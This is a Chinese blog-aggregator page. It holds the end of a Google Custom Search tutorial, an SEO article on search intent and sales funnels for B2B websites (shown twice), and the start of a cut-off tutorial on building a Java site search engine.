比如我想搜索twitter里所有關(guān)于”小米手機“的帖子,就直接用twitter的標簽進(jìn)行搜索。
是不是很方便!
2.手把手教你設置自定義搜索
a)第一步:新增搜索引擎
以下為設置初步自定義搜索的流程。
打開(kāi)網(wǎng)址:
點(diǎn)擊添加,填寫(xiě)內容,然后點(diǎn)擊創(chuàng )建。
創(chuàng )建完成后會(huì )顯示該界面。
我們先來(lái)點(diǎn)擊公開(kāi)網(wǎng)址,如圖:
在搜索框我們試著(zhù)搜索一下最近的東北虎熱點(diǎn)事件:
我們看到出來(lái)的都是Facebook(twitter也有顯示在后面)上關(guān)于東北虎的討論,非常精準。
接著(zhù)點(diǎn)擊修改搜索引擎控制臺,如圖:
這里大家可以自行設置,但是注意,正常情況下建議打開(kāi)圖片搜索和安全搜索。
b)第二步:修改搜索引擎
這是我之前設置好參數的自定義搜索引擎”測試版“。
左邊進(jìn)行設置的同時(shí),可以在右邊看到預設的界面。外觀(guān)設置就不說(shuō)了,大家按照自己的喜好去調整。
標簽的設置是在”“搜索功能”的“優(yōu)化一欄。
按照自己的需要添加標簽。
比如我想有一個(gè)標簽專(zhuān)門(mén)顯示Facebook的內容,我就把標簽命名為”Facebook“(或者其他自定義名稱(chēng)),并選擇”進(jìn)搜索具有此標簽的網(wǎng)站“。
創(chuàng )建完標簽后回到設置欄,下拉。
勾選你要添加進(jìn)標簽的網(wǎng)站(可以勾選多個(gè)),選擇標簽,就完成對標簽的設置了。
乞丐版自定義搜索引擎完成。
3.普通搜索 vs 自定義搜索
設置完成后我們可以對比兩個(gè)搜索引擎進(jìn)行搜索。
比如我想做小米手機在twitter的市場(chǎng)調研,想知道twitter里關(guān)于小米手機的帖子大多在討論什么內容。
我嘗試著(zhù)在普通谷歌瀏覽器搜索“小米手機+twitter”。
前五的結果除了第一條是來(lái)自推特的標簽,剩下的全是來(lái)自其它網(wǎng)站。
我用自定義搜索引擎來(lái)試試看。
直接在我剛才設置好的搜索引擎里,選擇twitter的標簽,然后搜索“小米手機”。
除了前面的廣告頁(yè),直接拉下來(lái),搜索到的全是來(lái)自twitter的內容。
直接提高我做市場(chǎng)調查的效率有沒(méi)有!自定義搜索引擎完勝。
—3—
結語(yǔ)
以上兩個(gè)工具還有很多功能,感興趣的朋友完全可以繼續摸索。比如谷歌自定義搜索引擎其實(shí)也是站長(cháng)們可以利用起來(lái)的好工具。
可以用來(lái)給自己的網(wǎng)站做一個(gè)導航鏈接分享出去,甚至可以自定義廣告欄,曾經(jīng)谷歌是收廣告費的莊家,現在收廣告費的莊家成了你。
而MozBar不僅僅能分析網(wǎng)頁(yè)/網(wǎng)站質(zhì)量,還能分析關(guān)鍵字排名、網(wǎng)站SEO強度、SEO分析...這簡(jiǎn)直就是給你開(kāi)了外掛,可以用來(lái)分析別人網(wǎng)站的流量具體是怎么跑的。
但對于想提高搜索效率的基礎玩家,這兩款工具的初級玩法也完全夠用了。
搜索意圖和銷(xiāo)售漏斗——B2B網(wǎng)站內容部署的指路燈
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 56 次瀏覽 ? 2022-05-10 05:43
對于B2B企業(yè)來(lái)說(shuō),官方網(wǎng)站的營(yíng)銷(xiāo)運營(yíng)中是整個(gè)品牌營(yíng)銷(xiāo)活動(dòng)非常重要又比較棘手的部分。而其中網(wǎng)站的內容部署更是一個(gè)較為花費精力的環(huán)節。
B2B企業(yè)網(wǎng)站缺乏內容嗎?
顯然地,熟悉B2B品牌的營(yíng)銷(xiāo)人員都知道自身不缺乏內容。品牌本身?yè)碛写罅康膬热菪问?。品牌故事、產(chǎn)品文案、產(chǎn)品使用手冊(大量的PDF文檔)、FAQ內容、客戶(hù)真實(shí)評論與反饋、行業(yè)資訊和資料等等,這些都是品牌主很容易就可以創(chuàng )建或者現成得到的內容。
因此,對于B2B企業(yè)的品牌站來(lái)說(shuō),內容營(yíng)銷(xiāo)更核心在于如何部署或者釋放這些內容到網(wǎng)站中,利用它們來(lái)獲取流量和提升網(wǎng)站的E-A-T評分。
本文主要從搜索意圖和銷(xiāo)售漏斗這兩個(gè)概念出發(fā),利用這兩個(gè)在SEO和營(yíng)銷(xiāo)學(xué)中基礎的理念介紹如何在B2B企業(yè)的品牌獨立站中部署內容。
銷(xiāo)售漏斗對于網(wǎng)站內容部署意味著(zhù)什么?
銷(xiāo)售漏斗的概念應該對任何營(yíng)銷(xiāo)人員來(lái)說(shuō)都不陌生,仍然記得這是我當年專(zhuān)業(yè)老師必問(wèn)必考的一個(gè)內容。所以它對于指引我們B2B網(wǎng)站的內容部署還是非常重要。
首先我們要重溫一下“客戶(hù)旅程”這個(gè)概念??蛻?hù)(用戶(hù))從了解一個(gè)品牌,到查詢(xún)資料,然后形成意見(jiàn),最后掏錢(qián)購買(mǎi),這是一個(gè)完整的客戶(hù)旅程。
產(chǎn)生意識>確認需求>進(jìn)行購買(mǎi)>留存選擇>口碑傳播,貫穿于銷(xiāo)售漏斗的始終。對于我們網(wǎng)站內容策略來(lái)說(shuō),客戶(hù)旅程和銷(xiāo)售漏斗發(fā)揮著(zhù)一個(gè)非常重要的指導作用。
根據Ahrefs的一個(gè)調研,大部分的B2B企業(yè)更加關(guān)注銷(xiāo)售漏斗中的BOFU環(huán)節,即促成購買(mǎi)的環(huán)節。
因此在網(wǎng)站的內容部署中,投入大量的精力在和產(chǎn)品購買(mǎi)相關(guān)的頁(yè)面中,如產(chǎn)品目錄頁(yè)、產(chǎn)品詳情頁(yè)或者其他促銷(xiāo)頁(yè)面。對于以詢(xún)盤(pán)或者銷(xiāo)售為業(yè)績(jì)導向的B2B企業(yè)來(lái)說(shuō),的確是無(wú)可厚非的一種操作。
然而,很多時(shí)候我們仿佛忘記了當初學(xué)習營(yíng)銷(xiāo)時(shí)的一個(gè)基本理念---用戶(hù)達成購買(mǎi),是一個(gè)漫長(cháng)的被攻占心智的過(guò)程。對于銷(xiāo)售漏斗中的TOFU和MOFU部分的內容,我們忽視了或者不愿意去投入精力,直接無(wú)視了在“客戶(hù)旅程”中處于中間過(guò)程的潛在客戶(hù)。
在我們定立網(wǎng)站內容策略,制定內容部署方針的時(shí)候,如果我們發(fā)現不知道應該部署什么內容的時(shí)候,可以回顧一下銷(xiāo)售漏斗中用戶(hù)在不同的客戶(hù)旅程階段,他們所關(guān)注的內容是什么。
不同購買(mǎi)漏斗階段用戶(hù)關(guān)心的內容
處于TOFU部分的用戶(hù),大多是剛剛發(fā)現自己有這樣的需求,并且在網(wǎng)上開(kāi)始搜索相關(guān)資料、品牌等。那么網(wǎng)站中應該有這樣的內容來(lái)展示品牌在這個(gè)領(lǐng)域的專(zhuān)業(yè)度,讓潛在的客戶(hù)相信你的品牌作為一個(gè)可靠的信息來(lái)源。網(wǎng)站中的品牌故事內容、專(zhuān)業(yè)背書(shū)內容、Ebook(包括白皮書(shū)等)以及當前比較流行的短視頻、社媒運營(yíng)、信息圖等都可以幫助你的潛在客戶(hù)加深對品牌的印象,提高他們重新訪(fǎng)問(wèn)網(wǎng)站獲取信息的機會(huì )或者關(guān)注品牌動(dòng)向。
而進(jìn)入到MOFU部分內容的用戶(hù),他們已經(jīng)對品牌和行業(yè)相關(guān)的一些基本概念有一定了解,確定了需求。他們更加想進(jìn)一步找到滿(mǎn)足自己需求的解決方案、和一些技術(shù)對比。而我們這個(gè)時(shí)候應該呈現給用戶(hù)的是我們的一些技術(shù)能力、解決方案策略等內容。
從這個(gè)角度出發(fā),我們應該在內容部署中考慮案例、指導性?xún)热?、相關(guān)研討會(huì ),活動(dòng)實(shí)況、場(chǎng)景應用介紹等。同時(shí)配合EDM營(yíng)銷(xiāo)把這些內容推送給在TOFU部分積累的潛在用戶(hù)。
到了BOFU,我們希望潛在客戶(hù)進(jìn)行購買(mǎi),到達這個(gè)階段的用戶(hù)應該理解我們呈現的內容,我們需要讓他們相信我們的產(chǎn)品、服務(wù)確實(shí)有能力解決他們的問(wèn)題。那么我們需要什么內容來(lái)推動(dòng)他們進(jìn)行購買(mǎi)行為呢?我相信大部分營(yíng)銷(xiāo)人員都對這部分內容較為熟悉。
一個(gè)不同版本的對比表格、一份產(chǎn)品或者軟件的demo試用、根據不同客戶(hù)需求呈現的推薦產(chǎn)品、真實(shí)的客戶(hù)反饋以及具體的參數,這些內容都是在BOFU階段促進(jìn)用戶(hù)交易的內容。
B2B網(wǎng)站應該包含所有貫穿銷(xiāo)售漏斗階段的內容
不少B2B 網(wǎng)站的營(yíng)銷(xiāo)人員會(huì )不禁發(fā)出疑問(wèn),以上說(shuō)的三部分內容,應該怎么去分布。首先,我們明確建議:B2B網(wǎng)站應該呈現包含所有貫穿銷(xiāo)售漏斗階段的內容。
這是因為,我們無(wú)法判斷,進(jìn)入我們網(wǎng)站的潛在客戶(hù)他們處于銷(xiāo)售漏斗中哪一個(gè)階段。因此,如果我們網(wǎng)站可以部署滿(mǎn)足用戶(hù)處于不同客戶(hù)旅程階段的內容,那么我們網(wǎng)站就可以捕獲不同需求客戶(hù)的流量,各個(gè)部分的內容都可以成為網(wǎng)站SEO流量的推進(jìn)劑,而最終促進(jìn)銷(xiāo)售和詢(xún)盤(pán)的達成。
用戶(hù)搜索意圖的充分分析幫助B2B網(wǎng)站的內容建設
當我們知道為B2B網(wǎng)站創(chuàng )建什么類(lèi)型的內容后,我們就需要考慮怎么去創(chuàng )建貼合用戶(hù)需求,為網(wǎng)站帶來(lái)流量的內容了。這個(gè)時(shí)候“用戶(hù)搜索意圖”分析就可以幫助到我們制定內容建設的框架了。
什么是用戶(hù)搜索意圖?
顧名思義,搜索意圖就是反映潛在客戶(hù)為什么要這樣搜索的原因。一般情況下,在SEO中用戶(hù)的搜索意圖體現在他們通過(guò)搜索哪些關(guān)鍵詞來(lái)獲取他們想要的信息。
用戶(hù)搜索意圖對于B2B網(wǎng)站內容部署有什么意義?
了解用戶(hù)的搜索意圖,便于網(wǎng)站的營(yíng)銷(xiāo)人員創(chuàng )建符合用戶(hù)需求的內容,有利于網(wǎng)站的SEO排名和流量的提升。前文說(shuō)到,潛在客戶(hù)處于不同的客戶(hù)旅程階段,進(jìn)入不同的銷(xiāo)售漏斗部分,他們所想了解的東西是不一樣的。這個(gè)時(shí)候他們所使用的搜索關(guān)鍵詞也會(huì )有所差異。
因此當我們分析用戶(hù)意圖后,我們便可以得知他們當前所想了解的信息大多會(huì )和哪些主題相關(guān)。而我們網(wǎng)站所部署的內容主題也應該和他們相貼合。
用戶(hù)搜索意圖的類(lèi)型有哪些?
用戶(hù)的搜索意圖類(lèi)型主要分以下幾種:
1、信息類(lèi)型——用戶(hù)希望通過(guò)搜索,了解某些品牌、產(chǎn)品、服務(wù)的基礎信息,包括它們的用途、原理等等。通常這類(lèi)意圖的關(guān)鍵詞都包含“what is”、“who is”,“Where is”等5W元素。
2、導航類(lèi)型——用戶(hù)可能希望訪(fǎng)問(wèn)某個(gè)特定的網(wǎng)站或者頁(yè)面。這個(gè)時(shí)候,他們會(huì )直接搜索某個(gè)網(wǎng)站的名稱(chēng)或者品牌名稱(chēng),如“Facebook”,“Apple official website”。
3、含交易意向的類(lèi)型——購買(mǎi)意欲較強的用戶(hù),他們大多已經(jīng)處于購買(mǎi)漏斗比較靠后的階段,這個(gè)時(shí)候他們所呈現的搜索意圖已經(jīng)非常明顯,它們大多會(huì )使用含有“buy”,“price”,“cheap”等等和購買(mǎi)、價(jià)格比較相關(guān)的字眼。
4、商業(yè)調查類(lèi)型——這類(lèi)搜索意圖和含交易意向的類(lèi)型有些類(lèi)似。他們已經(jīng)有很明顯的購買(mǎi)意圖,而且希望通過(guò)調查,找到頭部品牌、優(yōu)惠、reviews、參數對比信息等內容幫助他們進(jìn)行最后的決策。
當我們知道用戶(hù)的搜索用詞類(lèi)型會(huì )體現以上四種搜索意圖的時(shí)候,在我們在做內容策劃時(shí),進(jìn)行關(guān)鍵詞調研、主題調研就應該總結出一些用詞規律,并根據這些詞根,推斷通過(guò)這些詞進(jìn)入到網(wǎng)站的用戶(hù)大多處于哪個(gè)客戶(hù)旅行階段,也可以通過(guò)已有數據來(lái)檢查我們網(wǎng)站目前缺乏銷(xiāo)售漏斗中哪些內容類(lèi)型,進(jìn)而對網(wǎng)站的內容主題進(jìn)行規劃。
各類(lèi)搜索意圖一般情況下會(huì )出現的字眼:
如何了解來(lái)到網(wǎng)站的用戶(hù)的搜索意圖?
我們知道搜索意圖的分類(lèi)和體現用戶(hù)搜索意圖的關(guān)鍵詞詞根后,我們應該怎么去了解和分析我們的網(wǎng)站有哪些類(lèi)型的用戶(hù)訪(fǎng)問(wèn)了呢?
這個(gè)很簡(jiǎn)單,相關(guān)的工具和網(wǎng)站后臺就可以幫助我們得到這些信息。
● 內部挖掘:
Google Analytics & Google Search Console
通過(guò)Google Analytics和 Google Search Console 中的來(lái)源關(guān)鍵詞,我們可以看到我們網(wǎng)站在哪些關(guān)鍵詞中獲得了流量。這些都是用戶(hù)實(shí)打實(shí)的搜索意圖,并且我們網(wǎng)站內容某程度上滿(mǎn)足了他們的搜索意圖。
另外我們可以通過(guò)GA中查看我們在Google 廣告投放中觸發(fā)廣告的關(guān)鍵詞,來(lái)查看用戶(hù)的搜索意圖。
我們把這些詞下載下來(lái),通過(guò)前文提及的搜索意圖會(huì )包含的字眼,進(jìn)行篩選。這樣我們就可以清楚了解到我們網(wǎng)站獲得處于哪個(gè)客戶(hù)旅程階段的用戶(hù)比較多,哪種搜索意圖類(lèi)型的內容主題我們是比較缺乏的。進(jìn)而就知道我們應該去拓展和補充哪些類(lèi)型的內容。
●外部拓展
與此同時(shí),我們也可以根據我們已有的詞根,配合用戶(hù)搜索意圖體現的字眼,利用第三方工具來(lái)進(jìn)行內容主題的拓展(關(guān)鍵詞拓展)。
Semrush是一個(gè)強大的數字營(yíng)銷(xiāo)工具,只需要輸入網(wǎng)址,semrush就會(huì )快速為網(wǎng)站進(jìn)行一連串關(guān)于SEO、廣告、競爭報告以及網(wǎng)站內容和社交媒體情況的各類(lèi)分析,并給出優(yōu)化建議。其中它的關(guān)鍵詞分析套件可以根據網(wǎng)站或者關(guān)鍵詞,提供相關(guān)關(guān)鍵詞的拓展,搜索量、serp等數據。利用Keyword Magic Tool 工具,配合搜意意圖體現常用詞??梢暂p松幫助我們找到當前用戶(hù)所關(guān)注的內容主題。
結 語(yǔ)
谷歌仍然不斷了解用戶(hù)的搜索意圖,并呈現符合用戶(hù)搜索意圖的信息。對于B2B業(yè)務(wù)來(lái)說(shuō),達成購買(mǎi)的客戶(hù)旅程是相比于B2C業(yè)務(wù)來(lái)說(shuō)是相對較長(cháng)的,因此其潛在的客戶(hù)處于銷(xiāo)售漏斗不同階段的數量也是相對會(huì )多。我們希望B2B網(wǎng)站可以獲得更好的排名表現和流量提升,必須考慮內容一定滿(mǎn)足處于各個(gè)銷(xiāo)售漏斗階段的用戶(hù)搜索需求。
深入了解客戶(hù),并且回歸基本路徑是B2B企業(yè)網(wǎng)站營(yíng)銷(xiāo)運營(yíng)、內容運營(yíng)的康莊大道!
Freedom 肖寶寧
現任環(huán)創(chuàng )網(wǎng)絡(luò )SEO manager;擁有6年海外數字營(yíng)銷(xiāo)經(jīng)驗,思維活躍,勇于創(chuàng )新,擅長(cháng)社交媒體營(yíng)銷(xiāo),服務(wù)客戶(hù)包括中國南航、TCL、vivo、GameLoop、米哈游等。
查看全部
搜索意圖和銷(xiāo)售漏斗——B2B網(wǎng)站內容部署的指路燈
對于B2B企業(yè)來(lái)說(shuō),官方網(wǎng)站的營(yíng)銷(xiāo)運營(yíng)中是整個(gè)品牌營(yíng)銷(xiāo)活動(dòng)非常重要又比較棘手的部分。而其中網(wǎng)站的內容部署更是一個(gè)較為花費精力的環(huán)節。
B2B企業(yè)網(wǎng)站缺乏內容嗎?
顯然地,熟悉B2B品牌的營(yíng)銷(xiāo)人員都知道自身不缺乏內容。品牌本身?yè)碛写罅康膬热菪问?。品牌故事、產(chǎn)品文案、產(chǎn)品使用手冊(大量的PDF文檔)、FAQ內容、客戶(hù)真實(shí)評論與反饋、行業(yè)資訊和資料等等,這些都是品牌主很容易就可以創(chuàng )建或者現成得到的內容。
因此,對于B2B企業(yè)的品牌站來(lái)說(shuō),內容營(yíng)銷(xiāo)更核心在于如何部署或者釋放這些內容到網(wǎng)站中,利用它們來(lái)獲取流量和提升網(wǎng)站的E-A-T評分。
本文主要從搜索意圖和銷(xiāo)售漏斗這兩個(gè)概念出發(fā),利用這兩個(gè)在SEO和營(yíng)銷(xiāo)學(xué)中基礎的理念介紹如何在B2B企業(yè)的品牌獨立站中部署內容。
銷(xiāo)售漏斗對于網(wǎng)站內容部署意味著(zhù)什么?
銷(xiāo)售漏斗的概念應該對任何營(yíng)銷(xiāo)人員來(lái)說(shuō)都不陌生,仍然記得這是我當年專(zhuān)業(yè)老師必問(wèn)必考的一個(gè)內容。所以它對于指引我們B2B網(wǎng)站的內容部署還是非常重要。
首先我們要重溫一下“客戶(hù)旅程”這個(gè)概念??蛻?hù)(用戶(hù))從了解一個(gè)品牌,到查詢(xún)資料,然后形成意見(jiàn),最后掏錢(qián)購買(mǎi),這是一個(gè)完整的客戶(hù)旅程。
產(chǎn)生意識>確認需求>進(jìn)行購買(mǎi)>留存選擇>口碑傳播,貫穿于銷(xiāo)售漏斗的始終。對于我們網(wǎng)站內容策略來(lái)說(shuō),客戶(hù)旅程和銷(xiāo)售漏斗發(fā)揮著(zhù)一個(gè)非常重要的指導作用。
根據Ahrefs的一個(gè)調研,大部分的B2B企業(yè)更加關(guān)注銷(xiāo)售漏斗中的BOFU環(huán)節,即促成購買(mǎi)的環(huán)節。
因此在網(wǎng)站的內容部署中,投入大量的精力在和產(chǎn)品購買(mǎi)相關(guān)的頁(yè)面中,如產(chǎn)品目錄頁(yè)、產(chǎn)品詳情頁(yè)或者其他促銷(xiāo)頁(yè)面。對于以詢(xún)盤(pán)或者銷(xiāo)售為業(yè)績(jì)導向的B2B企業(yè)來(lái)說(shuō),的確是無(wú)可厚非的一種操作。
然而,很多時(shí)候我們仿佛忘記了當初學(xué)習營(yíng)銷(xiāo)時(shí)的一個(gè)基本理念---用戶(hù)達成購買(mǎi),是一個(gè)漫長(cháng)的被攻占心智的過(guò)程。對于銷(xiāo)售漏斗中的TOFU和MOFU部分的內容,我們忽視了或者不愿意去投入精力,直接無(wú)視了在“客戶(hù)旅程”中處于中間過(guò)程的潛在客戶(hù)。
在我們定立網(wǎng)站內容策略,制定內容部署方針的時(shí)候,如果我們發(fā)現不知道應該部署什么內容的時(shí)候,可以回顧一下銷(xiāo)售漏斗中用戶(hù)在不同的客戶(hù)旅程階段,他們所關(guān)注的內容是什么。
不同購買(mǎi)漏斗階段用戶(hù)關(guān)心的內容
處于TOFU部分的用戶(hù),大多是剛剛發(fā)現自己有這樣的需求,并且在網(wǎng)上開(kāi)始搜索相關(guān)資料、品牌等。那么網(wǎng)站中應該有這樣的內容來(lái)展示品牌在這個(gè)領(lǐng)域的專(zhuān)業(yè)度,讓潛在的客戶(hù)相信你的品牌作為一個(gè)可靠的信息來(lái)源。網(wǎng)站中的品牌故事內容、專(zhuān)業(yè)背書(shū)內容、Ebook(包括白皮書(shū)等)以及當前比較流行的短視頻、社媒運營(yíng)、信息圖等都可以幫助你的潛在客戶(hù)加深對品牌的印象,提高他們重新訪(fǎng)問(wèn)網(wǎng)站獲取信息的機會(huì )或者關(guān)注品牌動(dòng)向。
而進(jìn)入到MOFU部分內容的用戶(hù),他們已經(jīng)對品牌和行業(yè)相關(guān)的一些基本概念有一定了解,確定了需求。他們更加想進(jìn)一步找到滿(mǎn)足自己需求的解決方案、和一些技術(shù)對比。而我們這個(gè)時(shí)候應該呈現給用戶(hù)的是我們的一些技術(shù)能力、解決方案策略等內容。
從這個(gè)角度出發(fā),我們應該在內容部署中考慮案例、指導性?xún)热?、相關(guān)研討會(huì ),活動(dòng)實(shí)況、場(chǎng)景應用介紹等。同時(shí)配合EDM營(yíng)銷(xiāo)把這些內容推送給在TOFU部分積累的潛在用戶(hù)。
到了BOFU,我們希望潛在客戶(hù)進(jìn)行購買(mǎi),到達這個(gè)階段的用戶(hù)應該理解我們呈現的內容,我們需要讓他們相信我們的產(chǎn)品、服務(wù)確實(shí)有能力解決他們的問(wèn)題。那么我們需要什么內容來(lái)推動(dòng)他們進(jìn)行購買(mǎi)行為呢?我相信大部分營(yíng)銷(xiāo)人員都對這部分內容較為熟悉。
一個(gè)不同版本的對比表格、一份產(chǎn)品或者軟件的demo試用、根據不同客戶(hù)需求呈現的推薦產(chǎn)品、真實(shí)的客戶(hù)反饋以及具體的參數,這些內容都是在BOFU階段促進(jìn)用戶(hù)交易的內容。
B2B網(wǎng)站應該包含所有貫穿銷(xiāo)售漏斗階段的內容
不少B2B 網(wǎng)站的營(yíng)銷(xiāo)人員會(huì )不禁發(fā)出疑問(wèn),以上說(shuō)的三部分內容,應該怎么去分布。首先,我們明確建議:B2B網(wǎng)站應該呈現包含所有貫穿銷(xiāo)售漏斗階段的內容。
這是因為,我們無(wú)法判斷,進(jìn)入我們網(wǎng)站的潛在客戶(hù)他們處于銷(xiāo)售漏斗中哪一個(gè)階段。因此,如果我們網(wǎng)站可以部署滿(mǎn)足用戶(hù)處于不同客戶(hù)旅程階段的內容,那么我們網(wǎng)站就可以捕獲不同需求客戶(hù)的流量,各個(gè)部分的內容都可以成為網(wǎng)站SEO流量的推進(jìn)劑,而最終促進(jìn)銷(xiāo)售和詢(xún)盤(pán)的達成。
用戶(hù)搜索意圖的充分分析幫助B2B網(wǎng)站的內容建設
當我們知道為B2B網(wǎng)站創(chuàng )建什么類(lèi)型的內容后,我們就需要考慮怎么去創(chuàng )建貼合用戶(hù)需求,為網(wǎng)站帶來(lái)流量的內容了。這個(gè)時(shí)候“用戶(hù)搜索意圖”分析就可以幫助到我們制定內容建設的框架了。
什么是用戶(hù)搜索意圖?
顧名思義,搜索意圖就是反映潛在客戶(hù)為什么要這樣搜索的原因。一般情況下,在SEO中用戶(hù)的搜索意圖體現在他們通過(guò)搜索哪些關(guān)鍵詞來(lái)獲取他們想要的信息。
用戶(hù)搜索意圖對于B2B網(wǎng)站內容部署有什么意義?
了解用戶(hù)的搜索意圖,便于網(wǎng)站的營(yíng)銷(xiāo)人員創(chuàng )建符合用戶(hù)需求的內容,有利于網(wǎng)站的SEO排名和流量的提升。前文說(shuō)到,潛在客戶(hù)處于不同的客戶(hù)旅程階段,進(jìn)入不同的銷(xiāo)售漏斗部分,他們所想了解的東西是不一樣的。這個(gè)時(shí)候他們所使用的搜索關(guān)鍵詞也會(huì )有所差異。
因此當我們分析用戶(hù)意圖后,我們便可以得知他們當前所想了解的信息大多會(huì )和哪些主題相關(guān)。而我們網(wǎng)站所部署的內容主題也應該和他們相貼合。
用戶(hù)搜索意圖的類(lèi)型有哪些?
用戶(hù)的搜索意圖類(lèi)型主要分以下幾種:
1、信息類(lèi)型——用戶(hù)希望通過(guò)搜索,了解某些品牌、產(chǎn)品、服務(wù)的基礎信息,包括它們的用途、原理等等。通常這類(lèi)意圖的關(guān)鍵詞都包含“what is”、“who is”,“Where is”等5W元素。
2、導航類(lèi)型——用戶(hù)可能希望訪(fǎng)問(wèn)某個(gè)特定的網(wǎng)站或者頁(yè)面。這個(gè)時(shí)候,他們會(huì )直接搜索某個(gè)網(wǎng)站的名稱(chēng)或者品牌名稱(chēng),如“Facebook”,“Apple official website”。
3、含交易意向的類(lèi)型——購買(mǎi)意欲較強的用戶(hù),他們大多已經(jīng)處于購買(mǎi)漏斗比較靠后的階段,這個(gè)時(shí)候他們所呈現的搜索意圖已經(jīng)非常明顯,它們大多會(huì )使用含有“buy”,“price”,“cheap”等等和購買(mǎi)、價(jià)格比較相關(guān)的字眼。
4、商業(yè)調查類(lèi)型——這類(lèi)搜索意圖和含交易意向的類(lèi)型有些類(lèi)似。他們已經(jīng)有很明顯的購買(mǎi)意圖,而且希望通過(guò)調查,找到頭部品牌、優(yōu)惠、reviews、參數對比信息等內容幫助他們進(jìn)行最后的決策。
當我們知道用戶(hù)的搜索用詞類(lèi)型會(huì )體現以上四種搜索意圖的時(shí)候,在我們在做內容策劃時(shí),進(jìn)行關(guān)鍵詞調研、主題調研就應該總結出一些用詞規律,并根據這些詞根,推斷通過(guò)這些詞進(jìn)入到網(wǎng)站的用戶(hù)大多處于哪個(gè)客戶(hù)旅行階段,也可以通過(guò)已有數據來(lái)檢查我們網(wǎng)站目前缺乏銷(xiāo)售漏斗中哪些內容類(lèi)型,進(jìn)而對網(wǎng)站的內容主題進(jìn)行規劃。
各類(lèi)搜索意圖一般情況下會(huì )出現的字眼:
如何了解來(lái)到網(wǎng)站的用戶(hù)的搜索意圖?
我們知道搜索意圖的分類(lèi)和體現用戶(hù)搜索意圖的關(guān)鍵詞詞根后,我們應該怎么去了解和分析我們的網(wǎng)站有哪些類(lèi)型的用戶(hù)訪(fǎng)問(wèn)了呢?
這個(gè)很簡(jiǎn)單,相關(guān)的工具和網(wǎng)站后臺就可以幫助我們得到這些信息。
● 內部挖掘:
Google Analytics & Google Search Console
通過(guò)Google Analytics和 Google Search Console 中的來(lái)源關(guān)鍵詞,我們可以看到我們網(wǎng)站在哪些關(guān)鍵詞中獲得了流量。這些都是用戶(hù)實(shí)打實(shí)的搜索意圖,并且我們網(wǎng)站內容某程度上滿(mǎn)足了他們的搜索意圖。
另外我們可以通過(guò)GA中查看我們在Google 廣告投放中觸發(fā)廣告的關(guān)鍵詞,來(lái)查看用戶(hù)的搜索意圖。
我們把這些詞下載下來(lái),通過(guò)前文提及的搜索意圖會(huì )包含的字眼,進(jìn)行篩選。這樣我們就可以清楚了解到我們網(wǎng)站獲得處于哪個(gè)客戶(hù)旅程階段的用戶(hù)比較多,哪種搜索意圖類(lèi)型的內容主題我們是比較缺乏的。進(jìn)而就知道我們應該去拓展和補充哪些類(lèi)型的內容。
●外部拓展
與此同時(shí),我們也可以根據我們已有的詞根,配合用戶(hù)搜索意圖體現的字眼,利用第三方工具來(lái)進(jìn)行內容主題的拓展(關(guān)鍵詞拓展)。
Semrush是一個(gè)強大的數字營(yíng)銷(xiāo)工具,只需要輸入網(wǎng)址,semrush就會(huì )快速為網(wǎng)站進(jìn)行一連串關(guān)于SEO、廣告、競爭報告以及網(wǎng)站內容和社交媒體情況的各類(lèi)分析,并給出優(yōu)化建議。其中它的關(guān)鍵詞分析套件可以根據網(wǎng)站或者關(guān)鍵詞,提供相關(guān)關(guān)鍵詞的拓展,搜索量、serp等數據。利用Keyword Magic Tool 工具,配合搜意意圖體現常用詞??梢暂p松幫助我們找到當前用戶(hù)所關(guān)注的內容主題。
結 語(yǔ)
谷歌仍然不斷了解用戶(hù)的搜索意圖,并呈現符合用戶(hù)搜索意圖的信息。對于B2B業(yè)務(wù)來(lái)說(shuō),達成購買(mǎi)的客戶(hù)旅程是相比于B2C業(yè)務(wù)來(lái)說(shuō)是相對較長(cháng)的,因此其潛在的客戶(hù)處于銷(xiāo)售漏斗不同階段的數量也是相對會(huì )多。我們希望B2B網(wǎng)站可以獲得更好的排名表現和流量提升,必須考慮內容一定滿(mǎn)足處于各個(gè)銷(xiāo)售漏斗階段的用戶(hù)搜索需求。
深入了解客戶(hù),并且回歸基本路徑是B2B企業(yè)網(wǎng)站營(yíng)銷(xiāo)運營(yíng)、內容運營(yíng)的康莊大道!
Freedom 肖寶寧
現任環(huán)創(chuàng )網(wǎng)絡(luò )SEO manager;擁有6年海外數字營(yíng)銷(xiāo)經(jīng)驗,思維活躍,勇于創(chuàng )新,擅長(cháng)社交媒體營(yíng)銷(xiāo),服務(wù)客戶(hù)包括中國南航、TCL、vivo、GameLoop、米哈游等。
用Java寫(xiě)了一個(gè)搜索引擎系統
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 63 次瀏覽 ? 2022-05-07 19:02
前言
咱們如果用我們的小服務(wù)器去搞百度,搜狗那種引擎肯定是不行的,內屬于全站搜索,我們這里做一個(gè)站內搜索。這個(gè)還是可以的,就類(lèi)似于我們對網(wǎng)站里的資源進(jìn)行搜索。
一.搜索引擎怎么搜索
搜索引擎就像一個(gè)小蜜蜂每天不停的采摘蜂蜜,就是去爬蟲(chóng)各個(gè)網(wǎng)頁(yè),然后通過(guò)爬取之后建立索引,以供于我們去搜索。
這里我們可以使用Python,或者下載文檔壓縮包。這里我們下包把,快多了。本來(lái)想搞一個(gè)英雄聯(lián)盟的,實(shí)在找不見(jiàn),要是后續有老鐵找到可以分享一下。
建議大家別爬蟲(chóng)(要不然被告了,不過(guò)我們學(xué)校的官網(wǎng)倒是可以隨便爬,我們當時(shí)就是拿這個(gè)練手的) 為什么要用索引呢?
因為爬的數據太多了,不索引,難道我去遍歷嗎?時(shí)間復雜度太大了。
這里我們需要建立索引,索引分別為正排索引,和倒排索引。
拿LOL舉個(gè)例子吧,正排就相當于,我們提到無(wú)極劍圣的技能就可以聯(lián)想到:
所以這是根據名字選技能
倒排索引就是LOL里面誰(shuí)有劍:
所以這是根據特點(diǎn)選擇英雄
二.模塊劃分
1.索引模塊
1)掃描下載到的文檔,分析內容,構建出,正排索引和倒排索引。并且把索引內容保存到文件中。
2)加載制作i好的索引。并提供一些API實(shí)現查正排和查倒排這樣的功能。
2.搜索模塊
1)調用索引模塊,實(shí)現一個(gè)搜索的完整過(guò)程。
輸入:用戶(hù)的查詢(xún)詞 輸出:完整的搜索結果
3.web模塊
需要實(shí)現一個(gè)簡(jiǎn)單的web程序,能夠通過(guò)網(wǎng)頁(yè)的形式和用戶(hù)進(jìn)行交互。包含了前端和后端。
三. 怎么實(shí)現分詞
分詞的原理:
1.基于詞庫
